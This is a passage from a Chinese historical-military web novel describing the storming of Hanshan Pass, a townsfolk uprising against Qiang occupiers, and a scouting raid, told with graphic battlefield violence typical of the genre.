全营自我以下,所有都尉、副尉、百户、标长一律领军冲锋。我战死,各都尉依次接替指挥战斗,都尉战死、百户替之;百户战死、标长替之!就算是死,也得给我死在攻城的路上!
任何人胆敢后退半步,格杀勿论!”
“死战!”
满营上下目光坚定而又绝然,毫无惧意。
粗狂的吼声回荡在每一个人的耳中,两翼的定州军、并州军被这股勇气所折服,就连君沉、凌桐二人也下意识地屏住了呼吸。
为将者说一句谁敢后退、格杀勿论很简单,很多军卒听得耳朵都生茧子了,最烦这种无脑的军令。
可现如今领军之将站在最前方,参加最危险的攻城战!
你还有什么好说的?
洛羽手握双槌,站在蒙皮大鼓的前方,狠狠一砸:
“咚!”
“咚咚咚!”
数十名虎背熊腰的壮汉同时擂鼓,鼓声响彻云霄。
鼓响!
开战!
“杀!”
两千步卒犹如潮水一般涌向城墙,锋线铺开,整面城墙都被纳入攻击范围。
一架架竹梯云梯搭在城墙边缘,密密麻麻的军卒开始攀城,冲在第一个的一定是都尉、百户、标长这些军官,所有人的眼中都带着滔天杀意。
铺天盖地的箭矢滚石倾斜而下,无比凶险,稍有不慎便是粉身碎骨。
徐松一手持盾、一手扶梯,弯刀别在腰后,身形矫健。
盾牌横在头顶,几乎遮蔽了上方的视线,箭矢不断钉在盾牌表面,巨大的冲击力震得他手臂发麻,一支利箭几乎射穿盾牌,箭头距离徐松的眼眶只有咫尺之遥。
但他没有怕!而是不断地向上,向上!
攻城战堪称惨烈。
一名百户爬到城腰处被巨石正中头顶,脑浆迸射而出;
一名标长被一箭射穿肩膀,半边身子都失去了知觉,摇摇欲坠的挂在梯子上,为了不挡住后方军卒的攻城速度,毅然决然跳下了城头;
更有火油从城头上倾洒,浇在了先登步卒的身上,随着一支支火箭射来,整个竹梯从上到下被点燃,七八名军卒就这么葬身火海,凄厉的哀嚎声响彻全场。
绝望吗?
不,羌兵更绝望。
一开始他们洋洋自得,骂这些步卒不知死活,可打着打着他们就发现逼近墙头的乾军越来越多,这些人好像不怕死,你打得越狠他们冲得越猛。
而且他们不光有悍勇,也有战术的,各队之间互相掩护,前赴后继。作为阙州第一的步兵营,有大批参加过云阳关战斗的老兵,人人身手不凡。
面对如此不要命的攻势,羌兵打着打着就慌了,一股不安开始在墙头上蔓延。
“疯子,全都是疯子!”
阿史那铁勒目瞪口呆,他浑然没有意识到自己的手掌在微微颤抖。
他也慌了,因为城内同样在激烈搏杀,揭竿而起的百姓牵扯了他们太多的兵力,隐约间竟有一种力不从心的感觉。
他有一种预感,照这么打下去城防会被攻破!
“杀,杀了他,快!”
羌兵慌乱不安的吼声传入徐松的耳中,近在咫尺,他知道自己已经靠近墙头了!
眼角的余光瞄见一杆长枪当头捅落,徐松一挥盾牌挡开枪尖,手掌往石墙上一搭,纵身一跃便翻入墙头。
飞跃的瞬间徐松猛然挥出盾牌,厚重的牌角狠狠砸在一名羌兵的头顶,当场给他开了瓢。
紧跟着他落地一个翻滚,顺势抽刀,刀锋贴着地面一滑,接连砍中两名羌兵的脚腕,随即一边补一刀,捅出两道血箭。
徐松面目狰狞:
“该你们了,给我杀!”
随着徐松落地,不停地有先登死士跃入城头大杀四方,眨眼的功夫两翼就聚集了几十人,三人一组、三组一队,很自然开始打配合,进可攻退可守,搅得守军一团大乱,防线从此刻开始松动。
城头上的怒吼声响彻云霄,城外的乾军大阵却是死一般的寂静。尤其是定州并州的军卒,一个个长大了嘴巴,不可置信。
震撼。
如此悍勇攻城给了他们极大的震撼。
先登营拼死一战,石敢指挥第七营在城下一边放箭掩护一边用攻城锤狠砸城门。
随着越来越多的步卒爬入城墙开始近身肉搏,羌兵的主力全都集中在了城头上,城门口的防守越发力不从心。
终于在某一刻,城门轰然告破:
“砰!”
“轰!”
木屑飞溅,大门倒塌,城门背后的羌兵个个面色惶惶,脸色发白。
城门攻破的那一刻,城外的骑军大阵杀气凛然。
终于轮到他们出战了!
岳伍手执令旗飞奔阵前,朗声怒吼:
“将军令!”
“屠城!筑京观!”
第219章血衣之下皆人屠!
城内的战斗同样惨烈无比。
两千多难民对阵三千羌骑,甚至有很多从未打过仗的农民,不用想就知道战斗会很惨烈。
战场已经从空旷的广场扩散到了周围大大小小的街巷中,狭窄的地形逼得羌兵只能下马步战,随处可见打成一团的人影。
的亏是在城内,骑兵铺不开锋线,战马的速度也提不起来,若是在平原,两千多难民就算再增加一倍也只能被屠杀。
羌兵原本以为对付一群难民是狼入羊群、随手收割人头,但真打起来却发现完全不是这么回事:
一名年轻的难民被羌兵逼到了墙角,握着弯刀的手不断颤抖,脸色发白。
羌兵讥讽一笑:“呦,这么点胆色也敢造反闹事?奴庭的废物终究是废物!”
“我,我不是废物!”
年轻汉子涨红着脸反驳道:“奴庭都是顶天立地的好男儿!”
“就你?哈哈哈。”
羌兵差点笑掉大牙,轻飘飘地一刀挥了出去:“先送你去见阎王!”
处于保护自己的本能,年轻汉子使出全力挥出了一刀,同时嘶吼道:
“我不是废物!将军说了要带我们回家!”
“铛!”
两刀狠狠地撞在一起,响声清脆,出人意料的是被弹开的是羌兵手中的刀,因为他太轻敌了,以为随手一挥就能砍死年轻人,只用了一半的力道。
“砰!”
手臂发麻的感觉让羌兵有些错愕,转而变得气急败坏:“贱民,你……”
“噗嗤!”
狠话还没说出口,第二刀迎面而来,正中胸口,羌兵只觉得胸口一闷、直直地倒在了地上,目光惊恐无比。
年轻汉子疯狂地挥刀,毫无章法,但是每一刀都使出了全力:
“我们不是贱民,是堂堂正正的人!”
“我们是顶天立地的汉子!”
“该死的是你们!”
就这么一刀又一刀,羌兵被砍得血肉模糊,早就断了气。
鲜血溅了年轻人一身,他大口大口地喘着粗气,鲜血、死尸、杀人复仇的快感让他不再畏惧,义无反顾地持刀冲向其他战圈。
这样的场景在每一条街巷中上演,恐惧是本能,可奴庭人有奋起反抗的勇气!见过血、杀过人之后,他们会变成真正的铁血男儿!
战斗最激烈的地方就是两军遭遇的广场,吕青云和楚澜带着最勇敢的一批人顶在这,死死拖住上千羌兵主力。
“杀,杀了你们!”
“给我弟弟报仇!”
“你们都该死!没有人性的家伙!”
楚澜拼命地挥舞着弯刀在战场中冲杀,这位曾经的少族长一看就练过武,刀法虽然显得生涩,但力道十足,步伐稳健,颇有虎将之风。
弟弟死在面前已经让楚澜丧失了理智,眼眶猩红,只要被他盯上的羌兵都被砍得血肉模糊。
几百悍勇与羌兵混战在一起,在血水中厮杀争斗,刀砍卷了就赤手空拳互砸,人人衣袍染血。
蒙格苏从一开始就找上了吕青云,同样从骑战打成了步战,两人已经来回过了几十招。
吕青云手中的刀就是一把再寻常不过的边军弯刀,而身形壮硕的蒙格苏使的是一柄重斧,一般在军中敢用这种兵器的都是万人敌。
“铛铛铛!”
一连串的交锋中吕青云脚步踉跄,明显被蒙格苏压了一头、尽落下风。因为刚才吕青云豁出命以步对骑,硬生生用大腿接了一枪,一招换一招才把蒙格苏逼下战马。
污秽的鲜血早已湿透了吕青云的衣衫,弯刀与蒙格苏的重斧再次相撞,点点火花在夜色中绽放。这位万户猛安的臂力惊人,招式大开大合,每次劈砍都震得吕青云虎口发麻。
“铛!”
又是一记势大力沉的下劈,吕青云侧身闪避,趁机旋身,弯刀划向蒙格苏的腰腹,却被对方用斧柄格挡。两人错身而过的瞬间,蒙格苏突然肘击,肩肘重重砸在吕青云后背。
“咳咳!”
吕青云踉跄前扑,喉头涌上腥甜,同时还感觉到背后一股寒风袭来,赶忙向前翻滚,躲过追劈而来的斧头。青石板在斧刃的重击下碎裂,石子飞溅。
握刀的手在发抖,吕青云很清楚自己已经是强弩之末,支撑他战斗到现在的无非是要活着、要回家的执念罢了。
蒙格苏咧嘴露出森白牙齿:“阙州校尉又如何?不还是奴庭逃出来的贱民?啧啧,今日你就会成为本将军的斧下亡魂!”
“呸!”
吕青云啐出一口混杂鲜血的唾沫:“凭你也配?”
“看你能嘴硬到何时!”
“喝!”
蒙格苏再度甩动重斧,这一击势大力沉,吕青云仓促抬刀,精铁交鸣声中,弯刀被震得嗡嗡作响,手臂猛地一沉,整个人差点跪倒在地,奋力往前一抬,堪堪躲开了这一击。
“来啊,让我堪堪奴庭的贱民到底有几分本事!”
“喝!”
吕青云吐掉嘴里的血沫,暴起前冲。蒙格苏狞笑着抡圆重斧,却在斧刃即将斩中目标的刹那瞳孔骤缩。吕青云竟然双腿一弯,跪地出招!弯刀自下而上撩向他的腋下,那是锁子甲最薄弱的地方。
“刺啦!”
腋下的皮甲被划开,血线顺着刀痕渗出。蒙格苏暴怒无比,怒吼着汇集全身力量往下一劈:
“死吧!”
吼声震得吕青云耳膜生疼,重斧改劈为砸,斧背重重磕在他左肩,吕青云被砸得单膝跪地,刀尖撑地才没倒下。
“这就跪了?”
蒙格苏狞笑一声,抬脚踹向他的面门,一脚将吕青云踢翻在地,满脸血迹。
“噗嗤!”
血腥味在口腔蔓延,躺倒在血泊中的吕青云感觉脑袋嗡嗡直转,神志一点点模糊,长久的厮杀令他精疲力尽,再也无力提刀还击。
“结束了!”
蒙格苏高举重斧,杀气在斧刃上凝聚,生死一瞬。
远处的楚澜见到这一幕牙呲欲裂,嘶吼道:
“吕大哥,你不是说好带我们回家的吗!”
“啊!”
吕青云突然狂怒一声,抓起地上的沙石往前一洒,蒙格苏本能地偏头闪避,斧势随之一滞。
电光火石间,吕青云用尽全身力气坐了起来,不对,准确的说是甩出了自己的右手,手中握着一把短小的匕首。
“噗嗤!”
刀锋精准刺入蒙格苏咽喉。滚烫的鲜血喷溅在他脸上,蒙格苏的咆哮变成了凄惨的嗤嗤声。
重斧脱手,蒙格苏跪倒在地,双手徒劳地抓着没入咽喉的短匕,瞳孔中带着无穷的绝望。吕青云一瘸一拐地站了起来,捡起一把弯刀,用膝盖顶住他的后背,刀锋搭在蒙格苏的脖颈处。
“我说了,今夜该死的是你!”
“噗嗤!”
染血的手握住刀柄狠狠一拧,蒙格苏的脑袋被整个砍下,庞大的身躯轰然倒地,再也没有一丝动静,整座战场为之一静。
所有的羌兵都傻了,万户,蒙格苏可是万户猛安啊,号称悍勇无敌,竟然成了无头之鬼。反观奴庭青壮,人人亢奋。
吕青云被鲜血染成了一个血人,宛如从地狱爬出来的恶魔,目光所及之处羌兵无不后退,吓得惨无人色。
其实还在厮杀的奴庭青壮和他一样,鲜血早就染红了衣袍,人人血衣。虽说打得精疲力尽,可每个人都高昂着头颅,士气不断拔升!
一场大战让他们明白,羌兵也是人,不是神,挨了一刀同样的死,没什么好怕的!
吕青云一手握刀,一手高举人头,咬牙切齿地喝道:
“用羌人的血,染红我们的衣袍!”
“杀!”
第220章寒山城外筑京观
初冬的清晨冰寒刺骨,朔云挡在半空很久,好不容易才有些许阳光轻洒在天地之间。
寒山关城头硝烟弥漫,嘶吼声在城中回荡了一夜,直到天明时才渐渐消散,战局自然是羌兵大败亏输!
城门攻破之后便是大队骑兵涌入城内,各营骑兵四处出击,本就是强弩之末的羌兵一触即溃,根本无力还击,顷刻间兵败如山倒。
一名壮硕的汉子靠在墙角处,鲜血顺着嘴角不断滴落,身上的甲胄早已碎成了稀巴烂,手中握着的弯刀也砍出了缺口,神情悲惨。
西羌万户猛安:阿史那铁勒。
阿史那的眼神绝望无比,麾下士卒早已战死,四面八方围着的全都是陇西边军,一柄柄苍刀在晨光的照耀下寒光闪闪。自己也身负重伤,左肩、大腿、后背多了好几道刀伤,虽然还没死,但也就差一口气了。
而这些伤都是拜新任先登营主将所赐!
徐松拎着刀,面目狰狞地走来,杀气毕露。
阿史那铁勒咬着牙,用尽浑身力气挥出了弯刀,却被徐松随手一刀给挡开,弯刀砰的一声坠地,阿史那也踉跄着坐在了地上。
再也无力还击。
徐松长出一口气,咬牙切齿地说道:
“两军相斗,生死天定,我阙州将士战死城头没什么好说的,沙场本就如此残酷。但你为何要侮辱他们的尸体!为什么!
啊!”
不仅徐松红着眼,四周的乾军将士也双眼喷火,他们可以接受同袍战死,但绝不接受此等侮辱!
阿史那铁勒死到临头还在讥笑:
“成王败寇,没什么好说的。这一战是你们赢了,但我草原的铁蹄终将会再次踏进陇西,将你们这些人全都斩于马下!将陇西的土地化作一片焦土!
等着吧,终有一日你们会感受到恐惧!”
“是吗?”
徐松缓缓举起弯刀,狞声怒喝:
“那你就在地狱等着,看会有多少羌人去陪你!”
“噗嗤!”
刀锋滑过,人头落地,全场军卒只觉得满心舒畅。
“呸!”
徐松一脚踹翻了插在城头的孤狼逐日旗,取而代之的是一面迎风招展的染血军旗,龙飞凤舞地绣着两个大字:
先登!
……
“驾!”
“轰隆隆!”
黄沙之中有数不清的骑兵在极速狂奔,尽打羌兵旗号,为首之人正是九皇子耶律乌戈。
他的脸色差到了极点,因为半夜时分斥候来报,说寒山关满城起火,还有嘶吼声传来,一看就知道是乾军攻城了。
但诡异的是寒山关并未从来任何战报,他搞不清楚到底发生了什么事。
其实这就得怪蒙格苏与阿史那两位主将了,因为从头到尾他们都没觉得乾军有本事攻破城关,只觉得是一场小小的变故,等到先登营登上城头之后再想求援已经来不及了。
耶律乌戈因为拿不准情况,接连派了好几拨斥候来打探消息,全都如泥牛入海,一去不回。直到此时他才意识到要出事,当即集结兵马赶来增援。
“快,再快一点!”
“轰隆隆!”
耶律乌戈的脸色阴沉得快要滴出水了,寒山关乃是天险,要是丢了再想夺回来谈何容易?
“殿下您看!”
身侧武将一声急喝,远远地就看见一座骑阵矗立在前方,拦住了去路。
“大军止步!”
“吁吁!”
狂奔中的羌兵紧急勒住缰绳,虎视眈眈地盯着对面。这支骑兵人数不多,也就两三千上下,但往这里一摆就给人一种一夫当关万夫莫开的气势。
耶律乌戈太熟悉这支骑军了:
阙州虎豹骑!
“总算是来了,老子等半天了。”
蒙虎策马向前,随手将两面血污不堪的军旗往地上一丢。耶律乌戈瞳孔骤缩,心一下子就揪了起来。
那是蒙格苏与阿史那铁勒两人的帅旗。
帅旗被夺,说明主将已经战死!
羌军阵中鸦雀无声,惊骇无比,寒山关不是天险吗?乾军攻了这么久一直固若金汤,这回怎么一夜就被攻破了?
蒙虎持枪策马,朗声喝道:
“虎豹骑在此,有种地上来一战!”
“轰!”
全军怒吼出声:
“谁敢一战!”
杀气滔天!如虎似豹!
耶律乌戈死死攥紧拳头,关节发白,憋了半天就说了一个字:
“走!”
……
尸横遍野的战场中半坐着许多奴庭青壮,激战一夜他们早已力竭,许多人都在干呕,既是饿了也是场面太过血腥。
别看他们昨天还是老百姓,但今天全都杀得浑身是血,血污凝固在衣袍上,宛如血人,悍勇程度不输阙州精锐。
吕青云麾下的第三营军卒守护在他们身边,分发干粮饮水,还在替伤兵包扎伤口。全场鸦雀无声,只有一种奴庭特有的悲情弥漫在空气中。
柳青等一百兄弟的尸体送了过来,吕青云、楚澜踉踉跄跄地替他们擦去脸上的血污,盖上白布,眼眶中满是泪水。
若不是一百号精锐舍命攻门,今夜之战的难度还会增加许多,能不能赢都另说。
马蹄声骤然回荡,洛羽、萧少游等一众将军出现在众人的视野里,看到满场血衣的人影时众人心头一颤。
在场的几乎都是百姓啊,是他们死死拖住了三千羌骑,甚至打崩了对面。
吕青云单膝跪地,将一颗人头高高举过头顶:
“阙州第三营,献羌兵万户猛安,蒙格苏首级!”
“起来吧。”
洛羽亲手扶起了吕青云,嗓音略带沙哑:
“你做得很好,寒山关一战,第三营当居首功!”
洛羽环视全场:
“奴庭的百姓们,我叫洛羽,大乾安西将军,阙州持节令!”
很多人都挣扎着站起身,目光中带着好奇,他们在定州的时候就听过洛羽的名声,说这位是大善人,让阙州百姓过上了好日子,不管是乾人还是奴庭人都一视同仁,不少人好打算接着逃难去阙州。
“今天有很多人为了保护家人战死沙场,他们是英雄,你们都是英雄!”
洛羽的声音铿锵有力:
“以后你们有两条路可以选,想投军的就跟着吕青云,不想入军的我会让官府给你们分田、分地,让你们在陇西踏实安家,吃饱穿暖!
还有,吕青云对你们说过,有朝一日会带你们回家,重建家园。
今日我洛羽在此立誓,终有一日我陇西的铁蹄会踏进奴庭,帮你们杀尽羌贼,夺回故土!”
此话说出口的时候,君墨竹和萧少游两人的眼眸好像都闪烁了几分。
奴庭的汉子们热泪盈眶,安居乐业、吃饱穿暖,这不就是他们梦寐以求的日子吗?
当然,最让他们兴奋的是有了希望:
回家!
洛羽翻身上马,沉声怒喝:
“阙州第三营,死战寒山关,人人血衣归,战功卓著!扩营成军,吕青云任新军主将,楚澜为副将!
新军赐名,血归军!”
吕青云的眼眸中满是泪水,嘶吼一声:
“何日归故土!”
满营怒吼:
“今朝血衣屠!”
……
景丰十年冬,陇西边军一战拿下寒山关,杀万户蒙格苏、阿史那铁勒,歼敌近万。
城外高筑京观,人头滚滚!
第221章迟早成荒地
寒山城头高悬“洛”字旗,失散半年之久的边关重镇总算是回到了陇西边军的手中。
虽然血归军和先登营在攻城战中折损了小部分悍卒,但相比于战死万户两名、损兵近万的羌兵来说无疑是一场酣畅淋漓的大胜。
收复失地、大败羌军,城内军心振奋!
前线战场进入了长达月余的寂静,除了双方斥候各自前出打探军情之外,主力皆按兵不动,再也没有发生过百人规模以上的战事。
就像是两头刚刚争斗过的巨兽在默默舔舐伤口,等着下一次战机的到来。
这一个月洛羽也没闲着,不停地扩军练兵,奴庭青壮入军者上千人,全部划入吕青云麾下,血归军兵力多达三千余人,一跃成为兵力最雄厚的一营;
定州、并州两地也招募了近三千新兵送往前线,洛羽毫不客气,大手一挥全部划入麾下各营。君沉与凌桐自然没什么好说的,硬仗恶战都是人家打的,补充兵源是应该的。
洛羽挑选精壮之人入骑兵营,虎豹骑优先吸纳精锐,余者分别补入余寒弓、曹殇、霍连城三人麾下。
内地在源源不断地送来军粮,毕竟连战连捷,君家掏钱出粮还是乐意的。至于扩充骑兵所需要的战马就更不用担心了,前后多次大战,缴获的战马多达数千匹,马厩里都快塞不下了。
洛羽几人驻足城头,遥望关外,目光所及之处皆是茫茫黄沙,尘土飞扬,凛冬的朔风呼啸于天地之间,令人遍体生寒。
这是西境边关特有的萧瑟、凄凉,苦难之地磨人心性。
远方有一座高山连绵起伏,山势高耸、直插云霄,那就是寒山主峰,山势一直绵延的寒山关两侧,与城墙连城一体。
寒山山脚下是黄沙山石,树木不多,山顶隐约可见皑皑白雪,截然不同的景象交相辉映,蔚为壮观。
“确实是天险啊。”
萧少游感叹道:
“南北山脉与城墙连成一体,隔绝东西,为定州屏障。如果真是硬碰硬的打攻城战,咱们死万把人也不一定能拿下寒山关。
如此险隘当初都能丢了,不应该啊。”
换做阙州军来守,羌兵想要攻克寒山关得付出血一般的代价。
君墨竹苦笑一声:
“真以为人人都像阙州军骁勇善战吗?当初几百羌兵精锐趁夜攀城,打了我们个措手不及,敌军一入城士气就垮了,人人惊恐万分,根本不敢还击,只知道跑。
畏战的情绪不止定州军有、并州军也是如此啊。
唉。”
站在边上的君沉与凌桐很是尴尬,攻城战中两州军卒畏战情绪严重,几乎没帮上忙,说实话很丢人。
“阙州军不是天生就能打的,大家都是陇西青壮,谁也没多个脑袋多条肩膀。多少阙州新兵一开始上战场也会吓得尿裤子,不都是一场场硬仗中磨炼出来的?”
洛羽回头看向君沉与凌桐:
“寒山关一战两州军卒的表现我不想多说,但我有一句私底下的话要讲。”
君沉与凌桐竖起了耳朵:“洛将军请讲!”
“这次靠阙州军夺回了寒山关,以后呢?下一场战事呢?西羌年年进犯,年年有战事。终有一天你们会独自面对羌兵,到时候怎么办?等死吗?”
洛羽面无表情地说道:
“一场硬仗苦战都不敢打,手下的兵只会越来越孬。尸体与鲜血是唯一磨炼他们的办法,希望两位将军心里有数。
陇西是我们的陇西,没人会帮我们守,只能靠自己!”
“末将谨遵教诲!”
两人面带愧疚,心服口服地低下了头。
陇西是我们的陇西,只能靠自己。
“嗖嗖嗖!”
“彩!”
“哈哈哈!”
城内校场陡然爆发出一阵喝彩声,震得人耳膜发颤,众人满脸好奇地望了过去。
只见大队骑兵汇聚成阵,在校场中来回奔驰,阵型转换间很是流畅丝滑。但他们操练的不是骑枪术,而是人手一把弯弓,一囊箭矢,不停地朝远方靶场泼射箭雨。
“呵呵,一看就是余寒弓的兵啊。”
洛羽笑了笑,余寒弓自己是神箭手,平日里自然会更多地操练麾下士卒的骑射之术。
阙州九营,论冲锋陷阵、沙场血战谁也不敢说最强,但余寒弓敢拍着胸脯说第四营的骑射最强!
战马奔驰间一波波箭矢迎风射出,精准无误地落入靶场,稻草人身上扎满了箭头,准度极高,不停地引来围观士卒的满堂喝彩。
马背上的骑卒看起来很轻松,闲庭信步般一拉一放,几乎没有瞄准,全营上下的动作如出一辙,浑然天成。
因为他们曾经一次次的弯弓搭箭,射出数以千计的箭矢,在校场中挥洒了无数汗水,早已形成了肌肉记忆。
不要以为练箭很简单,第四营很多军卒晚上睡觉都得在胳膊上绑着纱布,来舒缓肌肉的疲劳。
“骑射很重要啊。”
萧少游饶有兴致地说道:“骑兵交战,弓弩为先,早晚有他们大显身手的时候。”
几人看了会儿热闹,洛羽振作了下精神:
“大军休整了一个月,各营兵马足备,也该想想如何击退羌兵了,这些天耶律乌戈在做什么?”
寒山关虽然收复,但战事远没有结束,羌兵虎视眈眈地驻扎在关外,丝毫没有撤兵的迹象,不击败他们边关将永无宁日。
“他们一直在修筑营寨,收容溃兵,听说还从草原调来了几千援兵补充军力。”
萧少游皱眉道:
“不过听外出巡查的游弩手回报,羌兵似乎征用了大量百姓给他们修筑营寨。”
“大量百姓?”洛羽的眉头皱了起来:“关外不是荒无人烟吗,羌兵从哪抓来的百姓。”
“当然是从境内裹挟出去的百姓,抓去草原做奴隶。”
君老将军默然道:
“近期我们统计了一下寒山关原有的居民,少了很多,再加上境内村落的百姓,起码有上千人不止。这些人去了草原,十死无生。
这些年边关人口不断流失,唉,这么下去陇西三州真要变成荒地了。”
“都是我陇西的百姓,岂容羌人掳走?”
洛羽目光微凝:
“把游弩手撒出去好好查查,看老百姓被关在哪儿。”
“洛将军难道要救这些百姓?”
君沉与凌桐愣了一下,这么多年被掳走的百姓数以万计,从未有人说过要出关救人。
“如果可以,当然要救!”
洛羽冷声道:
“陇西的百姓,我们不救,谁救!”
第222章游弩探营
寒风瑟瑟,地表上的沙砾翩翩起舞,糊得人睁不开眼。
连绵起伏的黄沙丘陵中有一团团灌木丛,干枯的草根在风中无力地耷拉着脑袋,你若是仔细看就能发现这片草丛竟然在移动!整个平移!
几张冷漠的面庞从草下探了出来,凌厉的目光直射前方。这哪儿是灌木丛啊,分明就是一群人趴在地上!
阙州游弩手!
地上一撮一撮的根本不是自然生长的杂草,而是一块毯子,上面铺着许多枯草。
这是洛羽给游弩手量身定做的毯子,作为斥候他们经常需要外出打探敌情,必要时还得潜入敌营附近,躲在羌兵眼皮子下做事,那就需要伪装!
关外大多是黄沙地,乾军的黑甲看起来太显眼了,所以洛羽就琢磨出来这么个东西,往身上一盖几乎与黄沙融为一体,敌军远远一看只会觉得是草丛。
他简称为“吉利服”。
领头的是游弩手百户沐峰,乃是阙州军第一批游弩手老兵。除了各营标配的一旗游弩手外,他麾下一百人是直接听命于帅帐的。
丘陵下方就是一片军营,准确的说是难民营,沐峰带着一标三十骑游弩手兜兜转转两天才找到此地。
很多衣衫褴褛的百姓正在劳作,开凿山石、填运沙袋,远远望去人影犹如蝼蚁般密集。
单薄的衣衫根本就不足以御寒,很多人在寒风中冻得瑟瑟发抖,手脚上满是冻疮。可监工的羌兵哪管这些?但凡你手上的动作慢一点就是一鞭子抽在身上,很多人被打得皮开肉绽还得接着干活。
营房外的景象更恐怖,挂着十几具早已腐烂的尸体,估计是擅自逃跑被羌兵抓住了,直接丢了命。
“妈的,就会欺负手无寸铁的百姓!”
游弩手们义愤填膺,沐峰皱着眉头说道:
“看架势羌兵抓了很多百姓啊,光我们能看见的就得有几百人。”
身侧一名汉子探头探脑的说道:
“可洛将军让我们打听清楚百姓的确切人数,还有驻防羌兵的兵力。咱们就这么看也看不出来啊。”
“得抓个俘虏问问。”
沐峰凝眼看向营门口,那儿时不时就有羌兵哨骑外出,不过想在敌军腹地抓俘虏可不是容易事,一着不慎便会全军覆没。
“跟我来!”
沐峰决心虎口拔牙,当即撤去伪装,带着人撤到林中,跨上战马。他们的兵器很简单,一把弓一柄刀,马背上放着干粮饮水,一切从简,斥候外出讲究的就是一个轻装简行。
三十骑游弩手一分为二,沐峰带着十名好手四处游弋,另外二十人一溜烟就跑没影了。
一连串的黑甲在黄沙中确实很显眼,此地离羌兵军营又近,没一会儿的功夫沐峰就被羌兵发现了,一标斥候气势汹汹地扑了过来。
“风紧,扯呼!”
沐峰慌乱地叫了一声,扭头就跑,游弩手仅十骑,羌兵足有五十人,简直是送上门的军功啊。羌兵岂会放过如此机会,穷追不舍。
其实像这样的斥候接触战在近一个月内不断发生,双方早就习以为常。
寒风卷着沙砾抽打在沐峰的脸上,他眯着眼睛,紧盯着逐渐逼近的羌兵斥候。五十骑羌兵正呈扇形展开,马蹄踏得黄沙飞溅。
沐峰冷笑一声:“追吧,待会儿有你们好看!”
“嗖嗖嗖!”
气势汹汹的羌兵发出阵阵怪叫,率先射出一波箭雨,斥候交战定是以弓弩为先!
可惜两拨骑军的距离刚好卡在射程边缘,羌兵的箭全都落在了地上。正当一名羌骑咂嘴惋惜的时候,一支利箭陡然飚射而来,正中他的额头:
“噗嗤!”
炸开的脑浆让四周羌骑都愣住了,乾军的弓弩竟然比他们要强!怪不得近期都传闻乾军游弩手厉害得紧,合着有如此神兵利器。
“都小心点!”
“嗖嗖嗖!”
接下来就是双方互相放箭,零零星星的箭矢不断在空中飞舞,这种小规模的骑战特别讲究放箭的准星,在射程上吃亏的羌骑眨眼间就死了不少人。
“妈的,全速追击!区区十骑还能翻天不成!”
被十骑戏耍,为首的黑脸标长破口大骂:
“今天定要将他们碎尸万段!”
羌兵将战马的速度拉升到极致,闷头猛追,游弩手看似不敢放箭了,扭头就朝前方一座沙丘奔去。
羌兵紧追不舍,杀气腾腾,可当他们越过沙丘时却发现乾军游弩手已经调转了马头,正对他们,人人将弓弦拉满,面带冷笑,同时两侧陡然响起弓弦震动之声。
三面合围!
“中计了!”
羌兵标长浑身一哆嗦:“小心!”
“嗖嗖嗖!”
“噗嗤!”
早就埋伏在此的另外二十号游弩手同时放箭,箭矢如雨点般倾泻而下。羌兵猝不及防,瞬间人仰马翻。
“杀!”
两轮箭雨之后沐峰悍然拔刀,率先冲入混乱的羌兵阵中,这里是敌军腹地,一定要速战速决!
手中刀锋划过一名羌兵的脖颈,鲜血喷溅在冰冷的胸甲上。那羌兵瞪大眼睛,双手徒劳地想要堵住喷血的伤口,最终无力地倒下。
三十骑游弩手兵分三路,狠狠杀入战场,互相之间配合默契,几乎是一个交锋就斩杀了半数羌兵。
敌军标长终于慌了,声嘶力竭地喝道:
“撤,先撤!”
但为时已晚。游弩手们如狼似虎地扑了上来,刀光剑影中羌兵一个接一个倒下。
一名身材魁梧的羌兵挥舞着弯刀,嘶吼连连,看起来是个悍卒。沐峰见状策马冲去,两马交错之际他身子一矮,刀锋自下而上斜撩而出,那羌兵的腹部被划开一道长长的口子,肠子顿时流了出来。
一声凄惨的哀嚎,羌兵绝望地栽倒在地,紧跟身后的一名游弩手顺势在咽喉处补了一刀,当场送他去见了阎王。
战斗很快变成了一边倒的屠杀,三十骑游弩手以摧枯拉朽之势头将羌兵杀得干干净净,只剩那个领头的标长身负重伤瘫倒在地。
黑脸标长目光绝望,他是第一次对战游弩手,怎么这么强?
其实洛羽和萧少游对游弩手极为看重,能入选阙州游弩手的可不是什么新兵蛋子,都得是一等一的老兵精锐。
沐峰蹲下身,拔出匕首在他眼前晃了晃:
“想死得痛快点还是陪你玩玩?”
黑脸标长没吭声,只是恶狠狠地瞪了沐峰一眼。
“哼。”
沐峰冷笑一声,匕首直接刺入大腿,横着这么一拉便是血肉外翻,剧痛令羌兵标长惨叫连连,额头冒出冷汗。
下一刻沐峰就把匕首抵在了他的眼角,目光森冷:
“你说我挖你的左眼还是右眼?听说附近还有狼群啊,你说它们会不会闻着血腥味过来?
啧啧。”
“咕噜。”
恐惧中的标长咽了口唾沫:“你,你想问什么?”
两边斥候一旦遭遇就是死战,他被俘的那一刻就没想过能活下去,但死得痛快点总比遭受折磨要好吧。
“你们营地里关了多少百姓?”
“大概,大概三千多吧。”这家伙畏畏缩缩地说道:“半数是青壮,剩下的都是老弱妇孺。”
这个人数远超想象,沐峰板着脸问道:“驻军呢?”
“五百。”
“这么少?你该不会是在骗我吧?”
沐峰手掌微微用力,刺得他眼角全是血,羌兵哭丧着脸道:
“都是手无寸铁的民夫,哪需要那么多人看守,我骗你干嘛。”
“那就好。”
沐峰微微一笑:“我说话算话,给你个痛快。”
“噗嗤!”
刀锋狠狠扎进了羌兵的咽喉,鲜血飞溅。
沐峰冷声道:
“把尸体都藏起来,别让羌兵发现咱们的踪迹。”
“回营!”
第223章别冷了人心
屋中挂起了一幅巨大的陇西边关地图,上面标注着羌兵扎营的大概位置,这都是游弩手日日外出、辛苦侦查的收获。
洛羽、萧少游几人端坐在旁,韩朔拿着一根狭长的木棍在地图上指指点点:
“寒山关往西八十里处有一条曳落河,自东北流向西南,乃是定州关外为数不多的水源地之一。耶律乌戈的中军大营就扎在曳落河西岸,观军帐规模,预估兵力在万人上下。
除了中军大营,羌军在曳落河两岸还扎下了多座军营,遥相呼应,各营兵力不等,但从他们近期不断加固营墙的举动来看,这个冬天是不打算撤兵了。
他们一日不撤,寒山关就一日不得安宁。”
“耶律乌戈聪明得很啊。”
洛羽冷笑一声:“在曳落河两岸扎营,进可攻退可守。难民营呢,在哪里?”
“在这。”
韩朔用木棍轻轻一点:
“难民营位于曳落河东岸,距离寒山关六十里,位置颇为靠前,游弩手已经多次前出侦查,营中有三千多百姓,驻军在五百人上下。”
“曳落河东岸?”
听到这句话的时候萧少游微皱眉头,陷入了沉思。
